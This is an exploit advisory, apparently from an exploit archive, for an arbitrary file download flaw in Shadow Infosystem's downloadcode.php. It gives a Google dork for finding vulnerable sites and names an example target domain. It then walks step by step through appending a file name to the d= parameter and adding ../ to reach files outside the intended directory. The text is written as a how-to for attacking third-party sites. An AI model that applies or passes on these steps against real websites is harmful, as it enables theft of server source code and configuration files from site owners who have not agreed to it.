|[+] Exploit Title: Shadow Infosystem Arbitrary File Download
|[+]
|[+] Exploit Author: Ashiyane Digital Security Team
|[+]
|[+] Vendor Homepage: http://shadowinfosystem.com
|[+]
|[+] Google Dork: inurl:/downloadcode.php
|[+]
|[+] Tested on: Windows, Linux
|[+]

|--------------------------------------------------------------|
|[+] Describe :
|[+]
|[+] At the first search dork and choose a target
|[+]
|[+] Like this : http://www.spacetechgroup.in
|[+]
|[+] Add this to the end of target URL: downloadcode.php?d=
|[+]
|[+] After [?d=] you should enter your file name that you want to download!
|[+]
|[+] Fore example download in that target index.php:
|[+]

|[+]
|[+] In some targets you can only download files that they're in [Current] directory!
|[+]
|[+] But I don't want to download from [file] directory!
|[+]
|[+] Then I put [../] after file name to upload from root directory!
